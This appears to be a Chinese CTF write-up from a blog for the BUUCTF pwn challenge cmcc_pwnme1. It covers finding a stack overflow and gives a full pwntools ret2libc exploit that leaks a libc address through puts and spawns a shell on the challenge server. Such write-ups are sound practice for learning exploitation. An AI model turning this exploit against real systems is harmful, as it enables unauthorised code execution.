[BUUCTF]PWN——cmcc_pwnme1(ret2libc)

cmcc_pwnme1

附件

步骤

  1. 例行检查,32位程序,没用开启任何保护
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况
    在这里插入图片描述
  3. 32位ida载入,检索字符串的时候发现了读出flag的函数
    在这里插入图片描述
    这个flag的位置不清楚对不对,按照buu的习性,应该不对
    main()
    在这里插入图片描述
    getfruit(),这边存在栈溢出
    在这里插入图片描述
  4. 先试一下那个读出flag的函数,和我想的一样,buu上flag的目录不在那儿
    在这里插入图片描述
  5. 因为看到没用开启nx,所以一开始想要使用shellcode,但是碍于没法获得参数v1在栈上的位置,就换用ret2libc的方法了

完整exp

from pwn import *
from LibcSearcher import *

#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']

#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)

#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)

r.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/113433052